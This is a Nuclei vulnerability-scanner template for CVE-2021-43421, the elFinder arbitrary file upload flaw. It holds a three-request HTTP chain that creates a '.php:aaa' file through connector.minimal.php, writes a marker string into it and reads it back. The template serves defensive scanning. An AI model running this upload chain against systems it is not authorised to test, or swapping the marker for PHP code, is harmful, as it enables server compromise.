nuclei-templates/cves/2021/CVE-2021-43421.yaml

id: CVE-2021-43421

info:
  name: Studio-42 elFinder < 2.1.60 - Arbitrary File Upload
  author: akincibor
  severity: critical
  description: |
    A File Upload vulnerability exists in Studio-42 elFinder 2.0.4 to 2.1.59 via connector.minimal.php, which allows a remote malicious user to upload arbitrary files and execute PHP code.
  reference:
    - https://github.com/Studio-42/elFinder/issues/3429
    - https://nvd.nist.gov/vuln/detail/CVE-2021-43421
    - https://twitter.com/infosec_90/status/1455180286354919425
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-43421
    cwe-id: CWE-434
  metadata:
    verified: "true"
  tags: cve,cve2021,elfinder,upload,rce,intrusive

requests:
  - raw:
      - |
        GET /elFinder/php/connector.minimal.php?cmd=mkfile&target=l1_Lw&name={{randstr}}.php:aaa HTTP/1.1
        Host: {{Hostname}}
        Accept: */*

      - |
        GET /elFinder/php/connector.minimal.php?cmd=put&target={{hash}}&content={{randstr_1}} HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /elfinder/files/{{randstr}}.php%3Aaaa?_t= HTTP/1.1
        Host: {{Hostname}}
        Accept: */*

    req-condition: true
    matchers:
      - type: dsl
        dsl:
          - 'contains(body_3, "{{randstr_1}}")'
          - "status_code == 200"
        condition: and

    extractors:
      - type: regex
        name: hash
        group: 1
        regex:
          - '"hash"\:"(.*?)"\,'
        internal: true